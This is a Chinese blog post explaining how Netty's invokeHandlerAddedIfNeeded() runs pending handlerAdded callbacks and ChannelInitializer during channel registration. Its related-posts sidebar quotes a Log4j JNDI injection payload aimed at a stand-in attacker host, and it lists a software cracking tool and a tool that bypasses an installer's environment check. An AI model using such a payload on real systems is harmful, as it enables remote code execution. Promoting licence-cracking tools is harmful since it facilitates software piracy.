Netty源码分析---invokeHandlerAddedIfNeeded方法详解

从零开始学习 Go 1.25 编程 今天是你新生活的第一天,无论年龄、背景如何,改变从这一刻开始。CodeGym帮助成千上万普通人转型为程序员,从零基础到掌握Go语言,完成真实项目,甚至入职心仪岗位。Go语言简洁高效,适合服务器端开发,是云基础设施、微服务和高负载系统的首选。2026年正是入行良机,你的经验反而是优势。别犹豫,迈出第一步,你将收获技能、自信与全新人生。🚀 阅读详情

invokeHandlerAddedIfNeeded() 方法详解

方法概述

pipeline.invokeHandlerAddedIfNeeded() 是在 register0() 方法中调用的,它的作用是触发 pipeline 中所有 handler 的 handlerAdded() 回调方法,特别是会执行 ChannelInitializer 的初始化逻辑,将我们自定义的 handlers 真正添加到 pipeline 中。

为什么需要这个方法?

问题背景

在 Channel 创建和初始化过程中,我们会向 pipeline 添加 handlers,但这些 handlers 的 handlerAdded() 方法不能立即调用,因为:

  1. Channel 还没有注册到 EventLoop:handler 的回调需要在正确的线程(EventLoop 线程)中执行
  2. Pipeline 可能还在构建中:过早调用可能导致状态不一致
  3. 需要延迟初始化:特别是 ChannelInitializer,它需要等到 register 完成后才能执行

解决方案

Netty 使用了一个 PendingHandlerCallback 链表来保存待执行的回调任务,等到合适的时机(register 完成后)再统一执行。

源码分析

1. 入口方法

// DefaultChannelPipeline
final void invokeHandlerAddedIfNeeded() {
    assert channel.eventLoop().inEventLoop();
    if (firstRegistration) {
        firstRegistration = false;
        // 调用所有待处理的 handlerAdded 回调
        callHandlerAddedForAllHandlers();
    }
}

关键点:

  • assert channel.eventLoop().inEventLoop():确保在 EventLoop 线程中执行
  • firstRegistration:标记是否是首次注册,只在首次注册时执行
  • 执行后将 firstRegistration 设为 false,避免重复执行

2. 核心方法:callHandlerAddedForAllHandlers()

private void callHandlerAddedForAllHandlers() {
    final PendingHandlerCallback pendingHandlerCallbackHead;
    synchronized (this) {
        assert !registered;

        // 标记 pipeline 已经注册
        registered = true;

        // 获取待处理的回调链表头
        pendingHandlerCallbackHead = this.pendingHandlerCallbackHead;
        
        // 清空链表,因为马上要执行了
        this.pendingHandlerCallbackHead = null;
    }

    // 遍历链表,执行所有待处理的回调
    PendingHandlerCallback task = pendingHandlerCallbackHead;
    while (task != null) {
        task.execute();  // 执行回调
        task = task.next;  // 移动到下一个
    }
}

执行流程:

  1. 加锁获取待处理回调链表
  2. 标记 pipeline 为已注册状态
  3. 清空链表(因为马上要执行)
  4. 遍历链表,依次执行每个回调

3. PendingHandlerCallback 是什么?

这是一个内部抽象类,用于封装待执行的回调任务:

private abstract static class PendingHandlerCallback implements Runnable {
    final AbstractChannelHandlerContext ctx;
    PendingHandlerCallback next;

    PendingHandlerCallback(AbstractChannelHandlerContext ctx) {
        this.ctx = ctx;
    }

    abstract void execute();
}

它有两个具体实现:

(1) PendingHandlerAddedTask
private final class PendingHandlerAddedTask extends PendingHandlerCallback {

    PendingHandlerAddedTask(AbstractChannelHandlerContext ctx) {
        super(ctx);
    }

    @Override
    public void run() {
        callHandlerAdded0(ctx);
    }

    @Override
    void execute() {
        EventExecutor executor = ctx.executor();
        if (executor.inEventLoop()) {
            // 如果在正确的线程中,直接调用
            callHandlerAdded0(ctx);
        } else {
            try {
                // 否则提交到正确的线程中执行
                executor.execute(this);
            } catch (RejectedExecutionException e) {
                // 处理异常...
                remove0(ctx);
            }
        }
    }
}
(2) PendingHandlerRemovedTask
private final class PendingHandlerRemovedTask extends PendingHandlerCallback {
    // 类似的结构,用于处理 handlerRemoved 回调
}

4. 何时创建 PendingHandlerCallback?

在向 pipeline 添加 handler 时:

// DefaultChannelPipeline
@Override
public final ChannelPipeline addLast(EventExecutorGroup group, String name, ChannelHandler handler) {
    final AbstractChannelHandlerContext newCtx;
    synchronized (this) {
        // 检查是否重复添加等...
        
        // 创建新的 context 节点
        newCtx = newContext(group, filterName(name, handler), handler);
        
        // 添加到链表中
        addLast0(newCtx);

        // 如果还没有注册,创建 PendingHandlerCallback
        if (!registered) {
            newCtx.setAddPending();
            // 将回调任务添加到待处理链表中
            callHandlerCallbackLater(newCtx, true);
            return this;
        }

        EventExecutor executor = newCtx.executor();
        if (!executor.inEventLoop()) {
            // 如果不在正确的线程中,延迟执行
            callHandlerAddedInEventLoop(newCtx, executor);
            return this;
        }
    }
    // 如果已经注册且在正确的线程中,立即调用
    callHandlerAdded0(newCtx);
    return this;
}

关键逻辑:

if (!registered) {
    // Pipeline 还没注册,创建待处理任务
    callHandlerCallbackLater(newCtx, true);
}

5. callHandlerCallbackLater() 方法

private void callHandlerCallbackLater(AbstractChannelHandlerContext ctx, boolean added) {
    assert !registered;

    PendingHandlerCallback task = added ? 
        new PendingHandlerAddedTask(ctx) : 
        new PendingHandlerRemovedTask(ctx);
    
    // 添加到链表尾部
    if (pendingHandlerCallbackHead == null) {
        pendingHandlerCallbackHead = task;
    } else {
        PendingHandlerCallback current = pendingHandlerCallbackHead;
        while (current.next != null) {
            current = current.next;
        }
        current.next = task;
    }
}

构建一个单向链表,保存所有待执行的回调任务。

6. 最终执行:callHandlerAdded0()

private void callHandlerAdded0(final AbstractChannelHandlerContext ctx) {
    try {
        // 调用 handler 的 handlerAdded 方法
        ctx.callHandlerAdded();
    } catch (Throwable t) {
        // 异常处理...
    }
}
// AbstractChannelHandlerContext
final void callHandlerAdded() throws Exception {
    if (setAddComplete()) {
        handler().handlerAdded(this);
    }
}

ChannelInitializer 的特殊作用

为什么需要 ChannelInitializer?

在实际使用中,我们通常这样写:

bootstrap.handler(new ChannelInitializer<SocketChannel>() {
    @Override
    protected void initChannel(SocketChannel ch) throws Exception {
        ch.pipeline()
            .addLast(new LoggingHandler())
            .addLast(new MyHandler());
    }
});

ChannelInitializer 的工作原理

public abstract class ChannelInitializer<C extends Channel> extends ChannelInboundHandlerAdapter {

    @Override
    public void handlerAdded(ChannelHandlerContext ctx) throws Exception {
        if (ctx.channel().isRegistered()) {
            // 如果 channel 已经注册,立即初始化
            if (initChannel(ctx)) {
                // 初始化完成后,移除自己
                removeState(ctx);
            }
        }
    }

    private boolean initChannel(ChannelHandlerContext ctx) throws Exception {
        if (initMap.add(ctx)) {
            try {
                // 调用我们重写的 initChannel 方法
                initChannel((C) ctx.channel());
            } catch (Throwable cause) {
                exceptionCaught(ctx, cause);
            } finally {
                // 从 pipeline 中移除 ChannelInitializer
                ChannelPipeline pipeline = ctx.pipeline();
                if (pipeline.context(this) != null) {
                    pipeline.remove(this);
                }
            }
            return true;
        }
        return false;
    }

    // 这是我们需要实现的抽象方法
    protected abstract void initChannel(C ch) throws Exception;
}

执行流程:

  1. handlerAdded() 被调用(在 invokeHandlerAddedIfNeeded() 中)
  2. 检查 channel 是否已注册
  3. 调用我们重写的 initChannel() 方法
  4. 在 initChannel() 中,我们添加真正的业务 handlers
  5. 最后,ChannelInitializer 将自己从 pipeline 中移除

完整的时序图

Channel 创建
    ↓
init(channel) - 添加 ChannelInitializer 到 pipeline
    ↓
    此时 pipeline: head -> ChannelInitializer -> tail
    ↓
    因为 !registered,创建 PendingHandlerAddedTask
    ↓
register 操作
    ↓
doRegister() - 注册到 Selector
    ↓
invokeHandlerAddedIfNeeded()
    ↓
callHandlerAddedForAllHandlers()
    ↓
遍历 PendingHandlerCallback 链表
    ↓
callHandlerAdded0(ctx)
    ↓
ChannelInitializer.handlerAdded()
    ↓
initChannel(channel) - 我们重写的方法
    ↓
添加真正的 handlers: LoggingHandler, MyHandler
    ↓
移除 ChannelInitializer
    ↓
最终 pipeline: head -> LoggingHandler -> MyHandler -> tail

实际例子

服务端启动代码

ServerBootstrap b = new ServerBootstrap();
b.group(bossGroup, workerGroup)
 .channel(NioServerSocketChannel.class)
 .childHandler(new ChannelInitializer<SocketChannel>() {
     @Override
     public void initChannel(SocketChannel ch) {
         ChannelPipeline p = ch.pipeline();
         p.addLast(new LoggingHandler(LogLevel.INFO));
         p.addLast(new EchoServerHandler());
     }
 });

执行过程

  1. Channel 创建时:

    • Pipeline: head -> ChannelInitializer -> tail
    • ChannelInitializer 被添加,但 handlerAdded() 还没调用
    • 创建 PendingHandlerAddedTask 并加入链表
  2. register0() 执行时:

    • 调用 doRegister() 完成底层注册
    • 调用 invokeHandlerAddedIfNeeded()
    • 执行 PendingHandlerAddedTask
    • 触发 ChannelInitializer.handlerAdded()
  3. ChannelInitializer.handlerAdded() 中:

    • 调用我们重写的 initChannel() 方法
    • 添加 LoggingHandler 和 EchoServerHandler
    • 移除 ChannelInitializer 自己
  4. 最终结果:

    • Pipeline: head -> LoggingHandler -> EchoServerHandler -> tail

关键设计思想

1. 延迟初始化

不在添加 handler 时立即调用 handlerAdded(),而是等到 register 完成后再调用,确保:

  • Channel 已经和 EventLoop 关联
  • 在正确的线程中执行
  • Pipeline 处于稳定状态

2. 回调链表

使用 PendingHandlerCallback 链表保存待执行的回调,支持:

  • 多个 handler 的批量初始化
  • 保持添加顺序
  • 统一的执行时机

3. ChannelInitializer 模式

通过 ChannelInitializer 这个特殊的 handler:

  • 提供了优雅的 API 来配置 pipeline
  • 自动完成初始化后移除自己
  • 避免了手动管理 pipeline 的复杂性

4. 线程安全

通过 synchronized 和 inEventLoop() 检查,确保:

  • 回调链表的线程安全访问
  • 回调在正确的线程中执行
  • 避免并发问题

总结

invokeHandlerAddedIfNeeded() 方法的核心作用:

  1. 触发时机:在 Channel 注册完成后,doRegister() 之后立即调用
  2. 主要功能:执行所有待处理的 handlerAdded() 回调
  3. 关键作用:触发 ChannelInitializer 的初始化,完成 pipeline 的最终构建
  4. 设计精妙:通过延迟回调机制,确保在正确的时机、正确的线程中完成初始化

这个方法是 Netty pipeline 构建过程中的关键环节,它将我们在启动代码中配置的 handlers 真正添加到 pipeline 中,使得整个处理链条得以建立!

第28篇 sw放样特征矩形-圆-矩形学习笔记 本例演示三轮廓放样:先画中心对齐的100×100矩形草图,再在偏移100的基准面上绘制圆,最后在另一基准面画矩形。通过依次选择三个轮廓并正确设置连接点,实现矩形→圆→矩形的平滑过渡,注意连接点位置避免扭曲。 阅读详情

相关推荐

如何手动打包Linux(麒麟系统)的Qt程序

Qt在windows上有自带的windeployqt来帮助打包程序,但是对于linux系统来说Qt并没有自带对应的打包程序。尽管存在开源的linuxdeployqt打包程序,但是在使用的过程中会出现很多问题,对于arm架构的系统来说需要编译并修改源码等等。确定你程序所需要的插件,然后将你使用的Qt版本对应的插件复制到plugins里边。你可以根据各个库后面的路径来找到对应的库,并将它们全部复制到之前创建的lib目录下。复制你的可执行程序到bin目录下(将 your_executable。

qq_45903233的博客 3610

Netty源码分析---handlerAdded方法调用详解

Netty 中的 handlerAdded() 方法调用机制分析: 继承体系:ChannelHandlerAdapter 提供 handlerAdded() 默认空实现,各子类可选择重写或继承默认实现。 关键实现: ByteToMessageDecoder 重写了 handlerAdded() 用于初始化累加器 ChannelInitializer 重写了 handlerAdded() 用于触发 initChannel() 回调 调用时机: 在 handler 被添加到已注册的 pipeline 时立即调用

java_rutu的博客 694

BLE透传速率调优(二)

摘要:本文分析了蓝牙协议中MDbit=1时应连续发送多包但实际只发一包的问题。通过波形分析和代码调试,发现问题的根源在于接收端出现sync error导致提前关闭接收窗口,而非发送端问题。最终通过调整RF时序参数(将rxpathdly改为13us)解决了TX到RX转换的同步问题,使连接事件能正常发送多个数据包,传输速率提升至70kb/s。文中详细记录了使用逻辑分析仪和trace宏调试的过程,揭示了CEVA芯片设计中TX中断与ACK接收的关联特性。

袁赟的博客 800

Netty中的ChannelPipeline源码分析

ChannelPipeline在Netty中是用来处理请求的责任链,默认实现是DefaultChannelPipeline,其构造方法如下: 1 private final Channel channel; 2 private final ChannelFuture succeededFuture; 3 private final VoidChannelPromise voidPr...

weixin_30800987的博客 94

vue3接入大华摄像头

┃ ┃ ┣ 📜PlaybackModal.vue 回放列表模态框。┃ ┃ ┗ 📜VideoGrid.vue 视频播放区域。┃ ┃ ┣ 📜ControlPanel.vue 控制面板。┃ ┃ ┣ 📜DeviceList.vue 设备列表。┃ ┣ 📂module //大华摄像头文件。

💻 专注 Vue 前端与 Java 后端技术 🌱 目前正在深入 Spring Boot、微服务与性能优化 📝 定期分享实战踩坑经验与学习笔记 🤝 欢迎交流,共同进步 915

UniApp X 网络请求避坑指南:从 JS 到 UTS 的 JSON 数据处理全解析

摘要:UniAppX开发中处理JSON数据时,UTS强类型特性要求开发者改变JS习惯。本文对比两种主流方案:1)UTSJSONObject通过keypath访问数据,兼容JS但缺乏类型提示;2)type+泛型方案,通过定义数据类型实现强类型校验和智能提示,推荐用于固定数据结构。文章详细演示了两种方式的具体实现、转换方法及实战案例,并提供了类型定义技巧和注意事项,帮助开发者编写更稳定高效的跨平台应用。

归梦工作室 2790

【Netty源码分析摘录】(八)新连接的接入

文章目录1.问题 1.问题 当 netty 的服务端启动以后,就可以开始接收客户端的连接了。那么在 netty 中,服务端是如何来进行新连接的创建的呢?在开始进行源码阅读之前,可以先思考以下三个问题。 服务端是如何检测到有新的客户端请求接入的(后面简称新连接接入)? -在 JDK 原生的 NIO 中,服务端会通过ServerSocketChannel.accept() 来为新接入的客户端创建对应的客户端 channel,那么在 netty 中服务端又是如何来处理新连接的接入的呢? 在 netty 中网络

m0_45406092的博客 553

GROMACS+PLUMED联合安装避坑指南:为什么你的plumed patch总是失败?

本文深入解析GROMACS与PLUMED联合安装中补丁失败的常见原因,并提供详细的避坑指南。针对版本兼容性、环境配置和编译选项等关键问题,给出从源码选择、环境搭建到手动合并补丁的完整解决方案,帮助用户成功整合这两个强大的分子动力学工具,实现增强采样模拟。

weixin_29302047的博客 289

Netty设计模式与源码分析(三)

accept事件 NioEventLoop.run方法,最终执行processSelectedKeys方法,因为此时我们有客户端连接事件,我们有accept事件后就会有SelectedKeys,我们此时就会操作SelectedKeys。 private void processSelectedKeys() { if (selectedKeys != null) { //执行这里 processSelectedKeysOptimized(); } el

qq_37904966的博客 419

大模型安全-生成检测-事实核查-攻击-防御-思考-记忆-融合-语音相关研究 2025年版

本文整理了关于大模型安全领域的综合性资源,包括7篇综述论文、9个安全数据集以及5篇强化学习相关的安全研究论文。主要涉及大模型的对抗攻击、隐私保护、安全评估等方向,涵盖TruthfulQA、ToxiGen等知名数据集和TrustLLM、HarmBench等关键研究。资源包括知乎博主分享、arXiv预印本和顶会论文,并附有详细的中文讲解链接,为研究者提供了系统性的安全研究参考。

CSPhD-winston的博客 3595

人像抠图 + OpenGL ES 还能这样玩?没想到吧(附带源码)

OpenGL ES 利用抠图算法实现人像留色。

字节流动 3万+

Netty源码分析-客户端启动流程

上接Netty源码分析之服务端启动流程,本节看下客户端启动的流程。public class Client { private static final Logger LOGGER = LoggerFactory.getLogger(Client.class); private static String host = "127.0.0.1"; private static ...

G-Lawliet的博客 332

eNSP常见故障处理

eNSP无法启动设备一直停在#井号的问题的解决方案?

lvshiliang123的博客 2万+

netty源码解析01-netty服务端启动过程

netty源码解析01-netty服务端启动过程netty 服务端启动创建服务端Channel用户代码入口初始化并注册创建java服务端Channel创建底层jdk channel初始化Channel注册Selector绑定端口总结 提示:如果没有听过或者使用过java nio 和netty,不建议直接阅读此文章,建议先去了解java nio 和netty之后再阅读此文章。 netty 服务端启动 我们知道,netty是对java nio 的进一步的封装和优化,所以,在netty中,肯定有几行代码,创建

qq_36707152的博客 265

Devexpress16.2.6破解工具

Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具

VC中sqlite的使用

在VC中对sqlite的使用,实现数据库大批数据的快速插入,读取数据库中的数据在ListCtrl中显示

Netty 接受请求过程源码分析 (基于4.1.23)

前言 在前文中,我们分析了服务器是如何启动的。而服务器启动后肯定是要接受客户端请求并返回客户端想要的信息的,否则要你服务器干啥子呢?所以,我们今天就分析分析 Netty 在启动之后是如何接受客户端请求的。 开始吧! 1. 从源头开始 从之前服务器启动的源码中,我们得知,服务器最终注册了一个 Accept 事件等待客户端的连接。我们也知道,NioServerSocketChannel 将自己...

很多时候犯错都是在不知情的情况下发生的 376

TMS_WebGMaps_1.9.8.0_Full_Source

TMS_WebGMaps_1.9.8.0_Full_Source 全源码 delphi cbuilder

Netty 启动过程源码分析 (本文超长慎读)(基于4.1.23)

前言 作为一个 Java 程序员,必须知道Java社区最强网络框架-------Netty,且必须看过源码,才能说是了解这个框架,否则都是无稽之谈。今天楼主不会讲什么理论和概念,而是使用debug 的方式,走一遍 Netty (服务器)的启动过程。 1. demo 源码 楼主 clone 的 netty 的源码,值得一提的是,netty 提供了大量的 demo 供用户使用和测试。今天我们就通过n...

weixin_33995481的博客 159

win10 跳过U8环境检测的IE WebControls.rar

win10 安装u8的时候 提示IE WebControls 不通过,这个工具可以欺骗u8的检查。 跳过U8环境检测的IE WebControls。提示导入失败后,重新检测通过。

netty服务端启动过程分析

netty 服务端启动 创建ServerBootstrap,该类是Netty服务端的启动类 绑定Reactor线程池,EventLoopGroup,实际上就是EventLoop的数组.除了处理IO操作外,用户提交的task和定时任务也是由EventLoop执行.避免了多线程竞争的情况 设置并绑定服务端Channel,对于Nio服务端,使用的是NioServerSocketChannel...

l1161558158的博客 235

netty源码深度解析-启动引导(2)客户端启动流程

导读 原创文章,转载请注明出处。 本文源码地址:netty-source-code-analysis 本文所使用的netty版本4.1.6.Final:带注释的netty源码 在“BIO vs NIO”这篇文章中我们给出了使用jdk原生nio编写的客户端Hello World。还记得其中的关键步骤吗,咱们再来温习一下。 创建一个SocketChannel 连接到服务方端口 将SocketChannel设置为非阻塞的 将SocketChannel注册到selector上 今天我们就以这几个

王建新的博客 291

2026.11.7 AI学习总结

110 你 14b 模型权重本身就要约 8.8GB,默认上下文(Ollama 在 16GB 卡上可能给到 4K)加上 KV Cache 就爆了。比如设成 2048,你输入了 500 个 token 的问题,那模型最多还能生成 1500 个 token 的回答。超出部分会被截断,模型就"看不见"了。4 如果 14b 跑起来后发现它"忘事",再逐步往上加,比如先试 4096。,根据注意力头的重要性动态分配缓存资源,重要的留显存,不重要的下沉。,单位是 token,表示模型这一次推理最多能同时"看到"多少内容。

qq_41181702的博客 377

Flink 学习日志 03:自定义一个SourceFunction,完成对Redis中数据的读取

本文介绍了在Flink中自定义SourceFunction读取Redis数据的完整流程:通过Jedis客户端连接WSL2中的Redis服务,编写RedisSource实现循环读取所有Key-value并逐条输出,结合Thread.sleep()实现每秒一条的流式效果。关键步骤包括环境准备、添加Jedis依赖、配置IDEA运行时加载provided依赖,并注意生产环境中应避免使用阻塞的keys *,改用scan命令。最终实现动态读取、实时打印,验证了Flink与Redis的数据集成能力。

木木的学习笔记 432

[学习笔记]超越超级大循环与原生RTOS:事件驱动架构如何改变嵌入式固件的可扩展性

RTC:事件处理器一旦开始,全部状态迁移、进出动作、输出事件必须全部执行完毕才返回;同一个组件,当前处理没结束,不会开始下一条事件。这不是架构给状态机额外施加的限制,这是UML状态图等全部状态机形式化本身固有的语义要求。如果迁移中途可以被打断,状态机会停留在未定义的中间状态。RTC保证两次事件之间,状态机永远处于明确定义的合法状态,便于分析与测试。

MiKiJT的博客 228

带着小白学习-微服务-6 实战:网关

地址栏输入:http://localhost:8088/goods/index,这时候就不是到8100端口去调用了,而是8088直接通过路由转发,分别到nacos对应的goods对应的服务中区调用。** 可以看出,这里将前面已经正常运行的server-store子工程(库存服务,服务提供方),server-goods子工程(商品服务,服务消费方)。(1)uri: lb://store 代表要到nacos的注册中心的服务列表中找到服务名为store的微服务;,网关是做路由转发,不是服务调用;

wdyan297的博客 221

Day36 XD安全学习笔记--JavaE应用&第三方组件&Log4i 日志&Fastson序列化&JNDI 注入

本节课剖析Log4j与Fastjson组件漏洞原理。Log4j通过JNDI注入实现远程代码执行,攻击者构造${jndi:ldap://attacker.com/Exploit}触发Lookup机制,诱导目标向恶意LDAP服务器请求并加载远程类,最终执行命令(如弹出计算器)。需配置trustURLCodebase=true绕过安全限制。Fastjson则利用@type反序列化特性,当用户输入可控的{"@type":"com.xiaodi.Run"}时,自动加载并实例化恶

一支蜉蝣的博客 212

Java 多态 学习笔记

多态是面向对象编程的重要特性,指同一操作作用于不同对象时产生不同行为。其核心在于“父类引用指向子类对象”,结合方法重写实现运行时动态绑定。多态使代码更灵活、可扩展,如用Person p = new Student();统一处理各类人员注册,无需修改调用逻辑。但多态无法直接调用子类特有方法,需通过instanceof判断并强制转换。编译时看左边(类型),运行时看右边(实际对象),实现解耦与维护便利。

AA_AA114514的博客 367

天线模块布局走线学习

天线通常与射频收发芯片、匹配网络、滤波器以及射频连接器等共同组成完整的无线通信链路;在进行原理图设计时,器件封装应当尽量小,倾向于0402、0201等,可以减小由封装带来的寄生参数影响。

qq_59757948的博客 173

CMake学习

CMake如何编译成库?1. 为什么要有库?库就是预先写好,编译好的代码集合。存在的意义,1)避免重复造轮子和重复编译,库是,你的代码在编译时直接链接它,不需要把库的源码重新编译一遍,大大节省了编译时间。;2):编译成库让别人可以直接调用我的函数,但看不到cpp源码,看不到里面的逻辑。3):大项目可以拆分给不同的团队开发不同的库,最后拼在一起。静态库:就是在程序编译和链接阶段,把库里被用到的代码部分,像打包裹一样,直接复制粘贴到最终的可执行文件(如.exe或 Linux 下的无后缀文件)里面。

m0_56487684的博客 199
上一篇: Netty源码分析---initChannel方法调用流程详解
下一篇: Netty源码分析---Java-NIO-ByteBuffer核心详解-简化版
不早睡不改名@
博客等级 码龄5年 536粉丝 306原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值